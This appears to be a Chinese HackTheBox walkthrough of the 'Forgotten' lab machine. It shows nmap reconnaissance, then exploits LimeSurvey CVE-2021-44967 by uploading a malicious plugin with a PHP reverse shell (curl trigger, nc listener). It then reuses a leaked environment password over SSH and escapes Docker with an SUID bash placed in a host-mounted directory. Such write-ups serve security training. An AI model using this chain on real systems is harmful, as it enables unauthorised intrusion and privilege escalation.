【渗透测试】HTB靶场之Forgotten 全过程wp

HTB Forgotten

靶机IP:10.129.234.81

信息收集

kotlin 复制代码
┌──(root㉿kali)-[~]
└─# nmap -A -T4 10.129.234.81
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-28 00:23 EST
Nmap scan report for 10.129.234.81
Host is up (0.43s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 28:c7:f1:96:f9:53:64:11:f8:70:55:68:0b:e5:3c:22 (ECDSA)
|_  256 02:43:d2:ba:4e:87:de:77:72:ce:5a:fa:86:5c:0d:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: 403 Forbidden
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 53/tcp)
HOP RTT       ADDRESS
1   175.48 ms 10.10.16.1
2   117.37 ms 10.129.234.81

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.01 seconds

有一个80端口,但主页进去403forbidden,扫一下目录

扫到一个/survey,来到安装的地方

在安装之前,我们要有mysql数据库,可以使用docker最方便

复制代码
sodu docker pull mysql:8.0
sudo docker run -p 3306:3306 --rm --name tmp-mysql -e MYSQL_ROOT_PASSWORD=password mysql:8.0

admin/password 进去后可以看到版本信息

从网上可以搜到CVE-2021-44967

漏洞利用(CVE-2021-44967)

复制代码
https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
复制代码
zip shell.zip config.xml php-rev.php

安装好后就要去触发

kotlin 复制代码
curl http://10.129.234.81:80/survey/upload/plugins/Y1LD1R1M/php-rev.php

nc -lvnp 10001

获得shell

从这里基本可以看出是docker了

得到一个pass

LIMESURVEY_PASS=5W5HN4K4GCXf9E

大概率是ssh的密码

复制代码
ssh limesvc@10.129.234.81

提权

前面一个是Docker容器内的环境,后面一个是目标主机的环境

docker容器获取交互式shell

复制代码
/usr/bin/script -qc /bin/bash /dev/null

获得了docker容器内的root权限

寻找宿主机挂载点

kotlin 复制代码
#docker容器内
cd /var/www/html/survey
touch testtest

#宿主机
find / -name "testtest"

也就是说靶机内的/var/www/html/survey会挂载到宿主机的/opt/limesurvey/。在靶机内我们可以利用sudo来创建一个具有u+s(SUID)权限的命令,从这里就可以得到属主为root的文件

简单来说,用sudo给命令加SUID权限,让普通用户能以root身份执行它

复制代码
#在docker容器内
echo 5W5HN4K4GCXf9E | sudo -S cp /bin/bash .
#将密码通过管道传给sudo,实现免交互输入密码。把系统的bash程序复制到当前目录(挂载目录)
echo 5W5HN4K4GCXf9E | sudo -S chmod +x bash
echo 5W5HN4K4GCXf9E | sudo -S chmod u+s bash
复制代码
cd /opt/limesurvey/
./bash -p
#-p参数是关键:保持 SUID 的 root 权限(否则会降权)

总结

流程

阶段 核心目标 关键操作
信息收集 探测开放端口、服务及目录 1. 端口扫描(Nmap)2. Web 目录扫描(发现 /survey 路径)
漏洞利用 利用 LimeSurvey 漏洞获取 Shell 1. 识别 LimeSurvey 版本(6.3.7+231127)2. 利用 CVE-2021-44967 漏洞上传恶意插件
权限获取 从容器 Shell 到靶机 SSH 登录 1. 容器内获取 limesvc 用户权限2. 提取环境变量中的 SSH 密码(LIMESURVEY_PASS=5W5HN4K4GCXf9E)
提权 从普通用户到靶机 root 权限 1. 容器内利用 sudo 权限创建 SUID 文件2. 通过挂载目录同步文件,靶机执行 SUID 文件提权

提权阶段

1.容器内获取root权限

容器内limesvc用户属于sudo组,通过sudo su切换到 root 用户,获取容器内最高权限。

kotlin 复制代码
# 容器内获取交互式Shell(避免终端异常)
/usr/bin/script -qc /bin/bash /dev/null
# 查看sudo权限(确认可执行所有命令)
sudo -l
# 输入密码(5W5HN4K4GCXf9E)切换到root
sudo su

2.寻找靶机挂载目录

Docker 容器常与靶机挂载目录(实现文件同步),通过在容器内创建测试文件,靶机全局搜索文件路径,确认挂载关系。

kotlin 复制代码
# 1. 容器内(/var/www/html/survey)创建测试文件
cd /var/www/html/survey && touch testtest
# 2. 靶机全局搜索测试文件,确认挂载关系
find / -name "testtest"  # 结果:靶机路径/opt/limesurvey/(与容器路径同步)

3.SUID提权

SUID 权限(u+s)是 Linux 特殊权限,设置后普通用户执行该文件时,会以文件属主(如 root)身份运行;结合挂载目录同步文件,实现靶机提权。

kotlin 复制代码
# 1. 容器内(挂载目录)复制bash并设置SUID权限(免交互输入密码)
echo 5W5HN4K4GCXf9E | sudo -S cp /bin/bash .  # 复制bash到挂载目录
echo 5W5HN4K4GCXf9E | sudo -S chmod +x bash   # 加可执行权限
echo 5W5HN4K4GCXf9E | sudo -S chmod u+s bash  # 加SUID权限(rwsr-xr-x)
# 2. 靶机(/opt/limesurvey)执行SUID bash,保持root权限(-p参数关键)
cd /opt/limesurvey && ./bash -p
# 3. 验证提权结果(euid=0表示有效用户为root)
id  # 结果:uid=2000(limesvc) gid=2000(limesvc) euid=0(root)